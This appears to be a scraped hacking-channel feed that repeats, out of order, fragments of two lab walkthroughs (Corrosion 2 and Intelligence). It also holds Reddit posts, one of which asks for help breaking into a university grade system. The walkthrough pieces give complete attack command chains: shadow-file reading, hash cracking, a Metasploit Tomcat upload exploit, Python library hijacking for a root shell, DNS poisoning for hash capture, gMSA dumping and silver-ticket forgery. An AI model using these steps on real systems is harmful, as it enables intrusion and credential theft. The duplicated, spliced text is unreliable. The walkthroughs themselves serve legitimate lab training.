https://blogger.googleusercontent.com/img/a/AVvXsEiGj92boUJBX0CVzYS9bromIAyIbcd9DXHHI4d01HBaoxvecun1NG_gPY2nTe6RJxvxGBL2qejkOXnnfTn1jmnymcOSvCjtqZMgCOM9os9qRN4uh5iMMkBg77kzughkaXU9_3U-Z28d1LAwrryfMKlBmpKhmzHoY1-eoO2FXUxAyIyljhFrdCCI7ISkvg=s16000
We just switched the directory to home. We discover that we have two users in this lab, Jaye and Randy. We switched to user jaye. It has the same password (melehifokivai) that we found out earlier.
cd /home
ls
su jaye
ls
https://blogger.googleusercontent.com/img/a/AVvXsEjLEtiMgoOVz41sveSwTcw9xL7noY5ySUHyHSlBraS1-w31TjtdcEyZzes2B2uXc-as0XWzKUG5Axev7J1nLMUwZaa8koA3yV7GbLeskWw-67iunRaR8LctAP8QMU-nJIbbDCr0_0qCKlppcIT2KVWaJ4vSjjscYEvUW_H25ky34IwIj41uP_FRsHxjCg=s16000
We discovered that this individual has a look called the .program that allows us to locate any file. As a result, we use it to locate the /etc/shadow file. Boom!! We obtained the hash values of all users in this lab.
./look '' /etc/shadow
https://blogger.googleusercontent.com/img/a/AVvXsEiGjTeUA-Fyk-xVvS2Qql9rYylMJ2p1eIZIGQoFLPa3w5WqxnWajuvmvmcpDC8YiLKaCxCMbUFIm04a0yVRUjz4j0eEvmG9EljhS5yA_OE3iHTESgQXRyup1oXfBN6cIKQiPCpFCk1oLClF6jvQbrFqq6dfT0UJkCgcd5qOdvsyRIwUp0ZmA8QwBiFMcw=s16000
As you are aware, we already have the password for user Jaye. We copy user randy’s hash value and save it in a file called hash.
Using John, who is a specialist in this case, we try to crack that hash. In a matter of seconds, we cracked the password 07051986randy.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
https://blogger.googleusercontent.com/img/a/AVvXsEiMkuQCR3EMVH468xCy-YLUkoxS79qXoJDul_x_8ztOOx_lRN63aL9tb0p22erD4bjFPFfIuHvLtHKfkREBGJeN3DaxI5J5uHnG_gJJ1OGcueaE8QdN4H3lx4QnNrR73fo3JXPJ4CtBFUDprxT7Q8gWlalTA1myJXtaefyYiv6bjt9SQPqKnyH5NOonJw=s16000 Privilege EscalationNow, we have all of the necessary information to begin privilege escalation. To login via ssh as user randy, we use the cracked password 07051986randy.
ssh randy@192.168.1.186
Then we used the (sudo -l) tool to examine this user’s limits. We discovered that it can be abused by python library hijacking.
The randombase64.py python code can be used to perform this hijacking. which imports another file called base64.
sudo -l
cat /home/randy/randombase64.py
https://blogger.googleusercontent.com/img/a/AVvXsEiGJlFibtP3Rvm68cwnmhjBuC_ZPfKErWxwLaPX3IpTS0i2rrmAvDOCRkAuasFz6HS7Sv5H0b8TeHq6mMcaIr5NAybVRxmRKh8LYjzX3sYsXUgfcqJ5_qRGhAu5YKLKDAHAg5kdpelVpqgU7KKjq3JV00E3V8sRa63JENSNehirkJxVkq7YePWI85nHoA=s16000
To obtain base64 file coordinates, we use the locate command. In a couple of seconds, we discover its coordinates. We investigated the file’s restrictions. Using this file, we can gain root access.
locate base64
ls -la /usr/lib/python3.8/base64.py
https://blogger.googleusercontent.com/img/a/AVvXsEgFMMm8JJSJRUVQJbI1a6sGv641vEY4n2_9nv0MygnQPelYbVgQLIMtsidOL26Js6ezCTVnLUnq4MWmA[...]
___________________________
@hacking_Attack
@Hacking_Video
unzip backup.zip
cat tomcat-users.xml
https://blogger.googleusercontent.com/img/a/AVvXsEi9oeyicwDyWMaMCXtq8RGEi-3zD-Socl4-ycbU3avaccjVA8ORsboGgevbnVkWiGfk8NMoIDJaGIpRbwjJ7z-EmNjqn1kD8gJB1e3C0M8UpKEdNYlkSQRr7gkWHQrk0Ms1BO2Nb0BlfHaws77hoHjEk6jp_2_MxRDffc-EyaLM7oJJ1aUNf9wBDpwB0w=s16000
Bam!! We discovered user admin and password melehifokivai credentials.
https://blogger.googleusercontent.com/img/a/AVvXsEiztI5WuE5M1_Sta3tZ4waTHkdHBo0_OI1dj7bTeRexWODqUoJdjAPSScZzecjTDPV6Ku2cn9ut9fN3WL2z2m3WpU-xebq5qyTgwz_VrW2-L9U5NthHKHVmT-exmHL0iyXK-nwbJ4RDFBt2gLPDiVVAjO8v5xdyl4sQV_c66rTZ_10MplcGLch38Pji7g=s16000 ExploitationNow that we have the credentials, we can begin exploiting them using a Metasploit. In these instances, employing a Tomcat exploit is the best option. Then give us all the information we need to use it, and we’re ready to go. As you can see, we had a meterpreter session.
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.186
set rport 8080
set httpusername admin
set httppassword melehifokivai
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEiGj92boUJBX0CVzYS9bromIAyIbcd9DXHHI4d01HBaoxvecun1NG_gPY2nTe6RJxvxGBL2qejkOXnnfTn1jmnymcOSvCjtqZMgCOM9os9qRN4uh5iMMkBg77kzughkaXU9_3U-Z28d1LAwrryfMKlBmpKhmzHoY1-eoO2FXUxAyIyljhFrdCCI7ISkvg=s16000
We just switched the directory to home. We discover that we have two users in this lab, Jaye and Randy. We switched to user jaye. It has the same password (melehifokivai) that we found out earlier.
cd /home
ls
su jaye
ls
https://blogger.googleusercontent.com/img/a/AVvXsEjLEtiMgoOVz41sveSwTcw9xL7noY5ySUHyHSlBraS1-w31TjtdcEyZzes2B2uXc-as0XWzKUG5Axev7J1nLMUwZaa8koA3yV7GbLeskWw-67iunRaR8LctAP8QMU-nJIbbDCr0_0qCKlppcIT2KVWaJ4vSjjscYEvUW_H25ky34IwIj41uP_FRsHxjCg=s16000
We discovered that this individual has a look called the .program that allows us to locate any file. As a result, we use it to locate the /etc/shadow file. Boom!! We obtained the hash values of all users in this lab.
./look '' /etc/shadow
https://blogger.googleusercontent.com/img/a/AVvXsEiGjTeUA-Fyk-xVvS2Qql9rYylMJ2p1eIZIGQoFLPa3w5WqxnWajuvmvmcpDC8YiLKaCxCMbUFIm04a0yVRUjz4j0eEvmG9EljhS5yA_OE3iHTESgQXRyup1oXfBN6cIKQiPCpFCk1oLClF6jvQbrFqq6dfT0UJkCgcd5qOdvsyRIwUp0ZmA8QwBiFMcw=s16000
As you are aware, we already have the password for user Jaye. We copy user randy’s hash value and save it in a file called hash.
Using John, who is a specialist in this case, we try to crack that hash. In a matter of seconds, we cracked the password 07051986randy.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
https://blogger.googleusercontent.com/img/a/AVvXsEiMkuQCR3EMVH468xCy-YLUkoxS79qXoJDul_x_8ztOOx_lRN63aL9tb0p22erD4bjFPFfIuHvLtHKfkREBGJeN3DaxI5J5uHnG_gJJ1OGcueaE8QdN4H3lx4QnNrR73fo3JXPJ4CtBFUDprxT7Q8gWlalTA1myJXtaefyYiv6bjt9SQPqKnyH5NOonJw=s16000 Privilege EscalationNow, we have all of the necessary information to begin privilege escalation. To login via ssh as user randy, we use the cracked password 07051986randy.
ssh randy@192.168.1.186
Then we used the (sudo -l) tool to examine this user’s limits. We discovered that it can be abused by python library hijacking.
The randombase64.py python code can be used to perform this hijacking. which imports another file called base64.
sudo -l
cat /home/randy/randombase64.py
https://blogger.googleusercontent.com/img/a/AVvXsEiGJlFibtP3Rvm68cwnmhjBuC_ZPfKErWxwLaPX3IpTS0i2rrmAvDOCRkAuasFz6HS7Sv5H0b8TeHq6mMcaIr5NAybVRxmRKh8LYjzX3sYsXUgfcqJ5_qRGhAu5YKLKDAHAg5kdpelVpqgU7KKjq3JV00E3V8sRa63JENSNehirkJxVkq7YePWI85nHoA=s16000
To obtain base64 file coordinates, we use the locate command. In a couple of seconds, we discover its coordinates. We investigated the file’s restrictions. Using this file, we can gain root access.
locate base64
ls -la /usr/lib/python3.8/base64.py
https://blogger.googleusercontent.com/img/a/AVvXsEgFMMm8JJSJRUVQJbI1a6sGv641vEY4n2_9nv0MygnQPelYbVgQLIMtsidOL26Js6ezCTVnLUnq4MWmA[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
4aj3KnmbV8BH7vbOzk2Tdu6YPkBqAphHTW4pNGjV6gDWStx48DqJziQKP_SseZ07r9Q35qx0OT1mQ278P-uAcUCtrtbqgOzAu_eqw=s16000 Now that we have a text file ready, we need to fuzz it using DIRB and save the existing PDFs in a file called existing.txt dirb http://10.129.16…
tps://blogger.googleusercontent.com/img/a/AVvXsEgiyhPKgMdVZmsfYrH4ZsTJ3I6ds0uKyy51J_Yy7o66mrafJZQpGAXOaWF6hI4VfpK5hfARqz1gH3dgUBLhyaP5IQswFGRo_qJ1bH-QakoUz2GVXwPK0pHPfK8GbYtQXorwcm_LmhvX--5YjPuKeeTRDXd78Nq9BYk00oF5URmO6r9mCBltGxCmA6jd2w=s16000
We need this WebRequest to reach our machine instead and for that we need to add a DNS record that points to us, so that we can capture auth request. For this, we’ll be using DNSUpdate script that can be found here.
git clone https://github.com/Sagar-Jangam/DNSUpdate.git
pip3 install -r requirements.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhht91lVo-24kCx1mnzf7y1HFoXOEoT5m7jxcy3egDH6l1C16yBHRi2cWqshVRDXmvlzgNwRvvqQ6uhu5tOgG9XXyGn5Shc6XwpdGHvrIPG-8tX_Y_FQ6NKV_vvGem_PIRN4j_RZxztZIR5ngjTVHdyA4dmTmSnbSdHu80ZE48G2sjr33mdmXoV2e3Cdg=s16000
Let us first set up a responder on our local system (HTB tunnel)
https://blogger.googleusercontent.com/img/a/AVvXsEhdQ8NciGvzq-jxsNoZvzaZWaupc_quYGaTv8J25FD2vadp_2ifK094IB61a8V5a50pBSz8yb-OoeT3VY9o-yMmyPJc_vNyKvC8hTU9E1MsRJgaxzKOaz7I1b_5OdfEzig5KVDeuJZXiaCpg7wG7ohTShHqzRn89zJsuKwZGhcD9YubLUi2UqKkljDzqw=s16000
We can add the DNS record using the following command.
python3.10 DNSUpdate.py -DNS 10.129.163.131 -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a ad -r webharsh -d 10.10.16.10
https://blogger.googleusercontent.com/img/a/AVvXsEh45CveKEKuQjklsdG-IJknfmmEjH_wzIbUwYk4ko2qi9ga7FrLcPx6wfUZmoLxkPBM2fgSBWD1Yjuk-toXovt3NLit-SHglSiRgX63cCreYh5mQfm3M0ZAxILzXyPaO2ca1ojA7PvfcB0dsTgCrEJokLuFbjYkiOZK5FpKPXjqnPcB2wUXZX2fqbX-zg=s16000
It got added! Now we waited for 5 minutes and got juicy hash of a user Ted Graves
https://blogger.googleusercontent.com/img/a/AVvXsEhO8v6bnxgxKkmui3aaoQu_-fP_ylwUCPF7I-UVt950eRNE_kjAKmfBy7GmLVtNnpnCkLIDX5yMzvpGlJpDfnjOO6iJE-69Z3iqgrijhPz2qzwnCfOgsetMJttNbC6AxvHUn9eXpvA9f4gW4uOSdxNLiWE6ayQHwZr9fOMRYCKA7nx4mzo3zSFxSoYcQA=s16000
Now we copy this hash into a file called “hash” and run hashcat on it. 5600 is the code for netntlmv2 type hash.
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
As you can see, we have received a password!
https://blogger.googleusercontent.com/img/a/AVvXsEjsLHmVOff6J0ae9ilUu9wiW08vAi-QwLX9ZLpaE13X1FRwoe2nFXsgimCSJfGf5T91EFrmCF-C3KmKTK7cAjTfd0GaRwKg4Pbkw4ytwzHuXCq-VlYHioLSJvy5A6iV__nyY-8WqFYbF-P3RZFMf0kD7pVyU7Ls6kCyB_bAtxfT8mIC6CroJEWtuqadSg=s16000
Now that I had the credential for Ted, I instantly used ldapsearch to dump information about the directory on the server
ldapsearch -H ldap://10.129.163.131 -x -W -D "Ted.Graves@intelligence.htb" -b "dc=intelligence,dc=htb"
This gave me an interesting insight. A group managed service account was running on the domain.
https://blogger.googleusercontent.com/img/a/AVvXsEgD3BoWjfScMz549KlWC9xcQrp0XOTt7UMAdEeKfTwjDFNRE2yABXIgpvszRD1gSof44Eg30p09S21l5pid103IUTJW_nc1W2XVQ9jPXhT_TNfXVWprMo4O0pD3uU4R0Y5HDAxE8whCc2lkVmyR0DdwBzB-3DzCqz-93wdVE16eASMAuGq3ZQabmEnnMw=s16000
This MSA was trusted for delegation to WWW. So, this MSA’s password can be dumped now that we have ted’s credential. (check the article here) So, we will use gMSA dumper tool to do this. You can download this here
We can dump the account’s hash using the command (add intelligence.htb in /etc/hosts first)
echo "10.129.163.131 intelligence.htb" >> /etc/hosts
git clone https://github.com/micahvandeusen/gMSADumper.git
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Voila! We received a hash of the service account.
https://blogger.googleusercontent.com/img/a/AVvXsEh_WYhaVQVeW2mgPNaUuJYZxEhA3DjjxG1-2m7Qz79Yzqt12MvTfJ6oqPtYRZRR_8ZbAuccopyt4bdVCKgL3hQvGOwme0dTdfRuaJoBRjcHM-50CAelTrHKddO8PnPcAfGgFetApdcMosaFGiRu8eg_ODcrNp_lZxN7NpLXlfPotedKkbB6J7k28Nd-Tw=s16000
With this service account’s hash, we can use Impacket toolkit’s script getST.py to create a silver ticket. But we encountered a problem with this. After some googling, it turns out that we need to sync our time clock with the server’s [...]
___________________________
@hacking_Attack
@Hacking_Video
We need this WebRequest to reach our machine instead and for that we need to add a DNS record that points to us, so that we can capture auth request. For this, we’ll be using DNSUpdate script that can be found here.
git clone https://github.com/Sagar-Jangam/DNSUpdate.git
pip3 install -r requirements.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhht91lVo-24kCx1mnzf7y1HFoXOEoT5m7jxcy3egDH6l1C16yBHRi2cWqshVRDXmvlzgNwRvvqQ6uhu5tOgG9XXyGn5Shc6XwpdGHvrIPG-8tX_Y_FQ6NKV_vvGem_PIRN4j_RZxztZIR5ngjTVHdyA4dmTmSnbSdHu80ZE48G2sjr33mdmXoV2e3Cdg=s16000
Let us first set up a responder on our local system (HTB tunnel)
https://blogger.googleusercontent.com/img/a/AVvXsEhdQ8NciGvzq-jxsNoZvzaZWaupc_quYGaTv8J25FD2vadp_2ifK094IB61a8V5a50pBSz8yb-OoeT3VY9o-yMmyPJc_vNyKvC8hTU9E1MsRJgaxzKOaz7I1b_5OdfEzig5KVDeuJZXiaCpg7wG7ohTShHqzRn89zJsuKwZGhcD9YubLUi2UqKkljDzqw=s16000
We can add the DNS record using the following command.
python3.10 DNSUpdate.py -DNS 10.129.163.131 -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a ad -r webharsh -d 10.10.16.10
https://blogger.googleusercontent.com/img/a/AVvXsEh45CveKEKuQjklsdG-IJknfmmEjH_wzIbUwYk4ko2qi9ga7FrLcPx6wfUZmoLxkPBM2fgSBWD1Yjuk-toXovt3NLit-SHglSiRgX63cCreYh5mQfm3M0ZAxILzXyPaO2ca1ojA7PvfcB0dsTgCrEJokLuFbjYkiOZK5FpKPXjqnPcB2wUXZX2fqbX-zg=s16000
It got added! Now we waited for 5 minutes and got juicy hash of a user Ted Graves
https://blogger.googleusercontent.com/img/a/AVvXsEhO8v6bnxgxKkmui3aaoQu_-fP_ylwUCPF7I-UVt950eRNE_kjAKmfBy7GmLVtNnpnCkLIDX5yMzvpGlJpDfnjOO6iJE-69Z3iqgrijhPz2qzwnCfOgsetMJttNbC6AxvHUn9eXpvA9f4gW4uOSdxNLiWE6ayQHwZr9fOMRYCKA7nx4mzo3zSFxSoYcQA=s16000
Now we copy this hash into a file called “hash” and run hashcat on it. 5600 is the code for netntlmv2 type hash.
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
As you can see, we have received a password!
https://blogger.googleusercontent.com/img/a/AVvXsEjsLHmVOff6J0ae9ilUu9wiW08vAi-QwLX9ZLpaE13X1FRwoe2nFXsgimCSJfGf5T91EFrmCF-C3KmKTK7cAjTfd0GaRwKg4Pbkw4ytwzHuXCq-VlYHioLSJvy5A6iV__nyY-8WqFYbF-P3RZFMf0kD7pVyU7Ls6kCyB_bAtxfT8mIC6CroJEWtuqadSg=s16000
Now that I had the credential for Ted, I instantly used ldapsearch to dump information about the directory on the server
ldapsearch -H ldap://10.129.163.131 -x -W -D "Ted.Graves@intelligence.htb" -b "dc=intelligence,dc=htb"
This gave me an interesting insight. A group managed service account was running on the domain.
https://blogger.googleusercontent.com/img/a/AVvXsEgD3BoWjfScMz549KlWC9xcQrp0XOTt7UMAdEeKfTwjDFNRE2yABXIgpvszRD1gSof44Eg30p09S21l5pid103IUTJW_nc1W2XVQ9jPXhT_TNfXVWprMo4O0pD3uU4R0Y5HDAxE8whCc2lkVmyR0DdwBzB-3DzCqz-93wdVE16eASMAuGq3ZQabmEnnMw=s16000
This MSA was trusted for delegation to WWW. So, this MSA’s password can be dumped now that we have ted’s credential. (check the article here) So, we will use gMSA dumper tool to do this. You can download this here
We can dump the account’s hash using the command (add intelligence.htb in /etc/hosts first)
echo "10.129.163.131 intelligence.htb" >> /etc/hosts
git clone https://github.com/micahvandeusen/gMSADumper.git
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Voila! We received a hash of the service account.
https://blogger.googleusercontent.com/img/a/AVvXsEh_WYhaVQVeW2mgPNaUuJYZxEhA3DjjxG1-2m7Qz79Yzqt12MvTfJ6oqPtYRZRR_8ZbAuccopyt4bdVCKgL3hQvGOwme0dTdfRuaJoBRjcHM-50CAelTrHKddO8PnPcAfGgFetApdcMosaFGiRu8eg_ODcrNp_lZxN7NpLXlfPotedKkbB6J7k28Nd-Tw=s16000
With this service account’s hash, we can use Impacket toolkit’s script getST.py to create a silver ticket. But we encountered a problem with this. After some googling, it turns out that we need to sync our time clock with the server’s [...]
___________________________
@hacking_Attack
@Hacking_Video
GitHub
GitHub - Sagar-Jangam/DNSUpdate: A python based script to update DNS entries in ADIDNS
A python based script to update DNS entries in ADIDNS - GitHub - Sagar-Jangam/DNSUpdate: A python based script to update DNS entries in ADIDNS
Hacking Articles Tips Tricks Videos Tutorials
omcat users xml file. unzip backup.zip cat tomcat-users.xml https://blogger.googleusercontent.com/img/a/AVvXsEi9oeyicwDyWMaMCXtq8RGEi-3zD-Socl4-ycbU3avaccjVA8ORsboGgevbnVkWiGfk8NMoIDJaGIpRbwjJ7z-EmNjqn1kD8gJB1e3C0M8UpKEdNYlkSQRr7gkWHQrk0Ms1BO2Nb0BlfHaws7…
pfRVBpsgXtu-cg4PNnEV04fIbhYlRs7DZ3pDoYp62UUBXQnRtCIcnoXwfS0dwdMSPRufkHZj-9kqlwK2inNAva_heFvzOhvcIVF7t8clgDzQg=s16000
We made some changes to this base64 python file using the nano command. Add this code to get root access to the victim’s machine.
import os
os.system ("/bin/bash")
https://blogger.googleusercontent.com/img/a/AVvXsEi-6EwkZ9qHj9FD6Wg8PG1pbJnqtf1aZFLv8dqgEKSRI-rD5EuOl59qYmVEiEVPmqC2hJRnk7vgLbFuOAWeXJrCm_8pMIATGcaOFn1h4llwn_0VrI8BdBfb6z3_FRwRp6qCizRwS3C_-7Ja3oOZFUtOJlowQK39jgzKGpMgt53kvIrAtcwGqcpy97b4Vg=s16000
We are now coordinating the use of both Python files. Boom!! We obtained root access. We immediately changed the directory to root and received the root flag in a matter of seconds.
sudo /usr/lib/python3.8 /home/randy/randombase64.py
cd /root
cat root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhBRjkN4kBHQLrByzbtz8vywMGjzDtnFEX9Y-W7TGt1PH4BgX7aWC6MsBcOuY0HInPf5JEBCyIKuCcmNT1QCidFWwVwL4QOyJG-NqXH2JyGzMQcEb3kvSk4Ff0L9U0gJ5U5Lydgb-1FjT-oOZ7aCVeWqqrDiReTUU2IVe-CBxrQyRewoPvXo-EUAqgC1g=s16000
This was a fantastic lab with a lot of information, especially in the enumeration and privilege escalation areas. It is worthwhile to attempt to gain CTF experience. Hopefully, this walk-through should have taught you something new.
Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedIn and Twitter.
The post Corrosion: 2 VulnHub Walkthrough appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
We made some changes to this base64 python file using the nano command. Add this code to get root access to the victim’s machine.
import os
os.system ("/bin/bash")
https://blogger.googleusercontent.com/img/a/AVvXsEi-6EwkZ9qHj9FD6Wg8PG1pbJnqtf1aZFLv8dqgEKSRI-rD5EuOl59qYmVEiEVPmqC2hJRnk7vgLbFuOAWeXJrCm_8pMIATGcaOFn1h4llwn_0VrI8BdBfb6z3_FRwRp6qCizRwS3C_-7Ja3oOZFUtOJlowQK39jgzKGpMgt53kvIrAtcwGqcpy97b4Vg=s16000
We are now coordinating the use of both Python files. Boom!! We obtained root access. We immediately changed the directory to root and received the root flag in a matter of seconds.
sudo /usr/lib/python3.8 /home/randy/randombase64.py
cd /root
cat root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhBRjkN4kBHQLrByzbtz8vywMGjzDtnFEX9Y-W7TGt1PH4BgX7aWC6MsBcOuY0HInPf5JEBCyIKuCcmNT1QCidFWwVwL4QOyJG-NqXH2JyGzMQcEb3kvSk4Ff0L9U0gJ5U5Lydgb-1FjT-oOZ7aCVeWqqrDiReTUU2IVe-CBxrQyRewoPvXo-EUAqgC1g=s16000
This was a fantastic lab with a lot of information, especially in the enumeration and privilege escalation areas. It is worthwhile to attempt to gain CTF experience. Hopefully, this walk-through should have taught you something new.
Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedIn and Twitter.
The post Corrosion: 2 VulnHub Walkthrough appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
tps://blogger.googleusercontent.com/img/a/AVvXsEgiyhPKgMdVZmsfYrH4ZsTJ3I6ds0uKyy51J_Yy7o66mrafJZQpGAXOaWF6hI4VfpK5hfARqz1gH3dgUBLhyaP5IQswFGRo_qJ1bH-QakoUz2GVXwPK0pHPfK8GbYtQXorwcm_LmhvX--5YjPuKeeTRDXd78Nq9BYk00oF5URmO6r9mCBltGxCmA6jd2w=s16000 We need this…
time in order for silver ticket to work. We do this like following:
apt install ntpdate
sudo ntpdate 10.129.163.131
https://blogger.googleusercontent.com/img/a/AVvXsEhFwbBGZpQwLXIukhKepAItLsNwKqnaQazN3BAJlonVuXO6cTdB7vVMyUonGdvY-PbRk2xUQ-xoNiK4z9_AADzlR--nTzL6dzY28BwJaUGXHW8PQxqTTEcfM4cIgJl1g5IPcf9H1xsbR3046P1JAcyGLDJr0PCpMtCLQY2X46VPeA8AkHrjPuMGZPlwIA=s16000 Post ExploitationMake sure impacket is installed and upgraded.
pip3 install impacket --upgrade
Now, we will use getST.py to generate ourselves a silver ticket using the command:
python3 /usr/share/doc/python3-impacket/examples/getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :6e03616eef48ba6a15be62280aefcdb2 -impersonate administrator
https://blogger.googleusercontent.com/img/a/AVvXsEgB_Fqrbh63MNeZfpO5INCCdVjAVJOijKC8iKQnGt-ylfeV0wjWhrZR5Y6deThPUoSje-tJZZ8zXjNVyafX5m7jwn19375Zq09VWR3K7tFdbV4RNVlzTHG55lJX0yydzEHrwgCg4L71PdLT_yRTdlGezlKQjoeK0A7ujUTLAzrQkDobF1DKN5u25u0L6Q=s16000
We need to export administrator.ccache first and then we need to add dc.intelligence.htb in our hosts file. Load the ccache ticket by setting the KRB5CCNAME environment variable to the ticket path. This environment variable automatically picks up the kirby ticket (stored in administrator.ccache) and uses in attacks against domain.
export KRB5CCNAME=administrator.ccache
echo "10.129.163.131 dc.intelligence.htb" >> /etc/hosts
klist
https://blogger.googleusercontent.com/img/a/AVvXsEgBK43b6HsiVHsEHHfbE-jfg-YVMr9dmj8fWWzRXCp0foqcbKAdrVJ1zmU5fiYHp9UH5Uzmy9ukKyyigc0t2B8oTKRQrsbg83CjzNeXusSDOpBJTEtLOgEF86PhEvpJK-WSxvxsQ850usqdP9t8Xp6SI256bPCUoK33Zc3um3MJBb4tHwccv3OLl1yJSA=s16000
Finally, we can use Impacket’s psexec to connect as an administrator and snag our root flag!
python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass dc.intelligence.htb
cd ../../Users/Administrator
type root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEjXkmd4KS6O65OPnCk2xQZg758U3a_CtE6PEBOoAv92aE6hss18FA3QD26wBNVbaGFh-S6bb_Z22G1BgeRDoYG9ISIFoUNsStjCcIopD87QnJuARCIslipvoGIYV3sxeXk2bCnzmDJchPjReDlufgNcpTjeH33HwPVhfWTdz1wgBPSqlHGNCn9jeyp9AA=s16000 ConclusionThe lab does not carry any traditional CTF like qualities but resembles highly to what one can see in real life. From extracting information from PDFs to validating existence of a user to compromising the Admin account by exploiting misconfiguration, the lab gives a lot to think about the actual existing security posture on Active Directories. There were no CVEs exploited in the lab and yet this type of exploitation is very common. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Intelligence HacktheBox Walkthrough appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
apt install ntpdate
sudo ntpdate 10.129.163.131
https://blogger.googleusercontent.com/img/a/AVvXsEhFwbBGZpQwLXIukhKepAItLsNwKqnaQazN3BAJlonVuXO6cTdB7vVMyUonGdvY-PbRk2xUQ-xoNiK4z9_AADzlR--nTzL6dzY28BwJaUGXHW8PQxqTTEcfM4cIgJl1g5IPcf9H1xsbR3046P1JAcyGLDJr0PCpMtCLQY2X46VPeA8AkHrjPuMGZPlwIA=s16000 Post ExploitationMake sure impacket is installed and upgraded.
pip3 install impacket --upgrade
Now, we will use getST.py to generate ourselves a silver ticket using the command:
python3 /usr/share/doc/python3-impacket/examples/getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :6e03616eef48ba6a15be62280aefcdb2 -impersonate administrator
https://blogger.googleusercontent.com/img/a/AVvXsEgB_Fqrbh63MNeZfpO5INCCdVjAVJOijKC8iKQnGt-ylfeV0wjWhrZR5Y6deThPUoSje-tJZZ8zXjNVyafX5m7jwn19375Zq09VWR3K7tFdbV4RNVlzTHG55lJX0yydzEHrwgCg4L71PdLT_yRTdlGezlKQjoeK0A7ujUTLAzrQkDobF1DKN5u25u0L6Q=s16000
We need to export administrator.ccache first and then we need to add dc.intelligence.htb in our hosts file. Load the ccache ticket by setting the KRB5CCNAME environment variable to the ticket path. This environment variable automatically picks up the kirby ticket (stored in administrator.ccache) and uses in attacks against domain.
export KRB5CCNAME=administrator.ccache
echo "10.129.163.131 dc.intelligence.htb" >> /etc/hosts
klist
https://blogger.googleusercontent.com/img/a/AVvXsEgBK43b6HsiVHsEHHfbE-jfg-YVMr9dmj8fWWzRXCp0foqcbKAdrVJ1zmU5fiYHp9UH5Uzmy9ukKyyigc0t2B8oTKRQrsbg83CjzNeXusSDOpBJTEtLOgEF86PhEvpJK-WSxvxsQ850usqdP9t8Xp6SI256bPCUoK33Zc3um3MJBb4tHwccv3OLl1yJSA=s16000
Finally, we can use Impacket’s psexec to connect as an administrator and snag our root flag!
python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass dc.intelligence.htb
cd ../../Users/Administrator
type root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEjXkmd4KS6O65OPnCk2xQZg758U3a_CtE6PEBOoAv92aE6hss18FA3QD26wBNVbaGFh-S6bb_Z22G1BgeRDoYG9ISIFoUNsStjCcIopD87QnJuARCIslipvoGIYV3sxeXk2bCnzmDJchPjReDlufgNcpTjeH33HwPVhfWTdz1wgBPSqlHGNCn9jeyp9AA=s16000 ConclusionThe lab does not carry any traditional CTF like qualities but resembles highly to what one can see in real life. From extracting information from PDFs to validating existence of a user to compromising the Admin account by exploiting misconfiguration, the lab gives a lot to think about the actual existing security posture on Active Directories. There were no CVEs exploited in the lab and yet this type of exploitation is very common. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Intelligence HacktheBox Walkthrough appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Not a real hack wanted
I just got an anonymus mail referring to my Facebookprofile. Does anyone know how I can find out who visite my FB profile?
submitted by /u/yourFWB__NL
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Not a real hack wanted
I just got an anonymus mail referring to my Facebookprofile. Does anyone know how I can find out who visite my FB profile?
submitted by /u/yourFWB__NL
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Not a real hack wanted
I just got an anonymus mail referring to my Facebookprofile. Does anyone know how I can find out who visite my FB profile?
hacking: security in practice
UNI failed me, looking for an answer
Long story short..covid hit me for 2 weeks and i had my finals (IT).No one considered my situation and failed me on my 4 final exams without the possibility for a re-test My university stores it’s data on a web application databese (nginx 1.20.2 proxy server). For what i’m aware the site it’s kind of easy to be made and without a firewall.I don’t know nothing form pentesting or finding vulnerability’s soo i’ll need some help on these.
submitted by /u/youngtorab
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
UNI failed me, looking for an answer
Long story short..covid hit me for 2 weeks and i had my finals (IT).No one considered my situation and failed me on my 4 final exams without the possibility for a re-test My university stores it’s data on a web application databese (nginx 1.20.2 proxy server). For what i’m aware the site it’s kind of easy to be made and without a firewall.I don’t know nothing form pentesting or finding vulnerability’s soo i’ll need some help on these.
submitted by /u/youngtorab
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
UNI failed me, looking for an answer
Long story short..covid hit me for 2 weeks and i had my finals (IT).No one considered my situation and failed me on my 4 final exams without the...
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Russian Cybersecurity Firm Draws U.S. Federal Scrutiny, Concern from National Security Experts
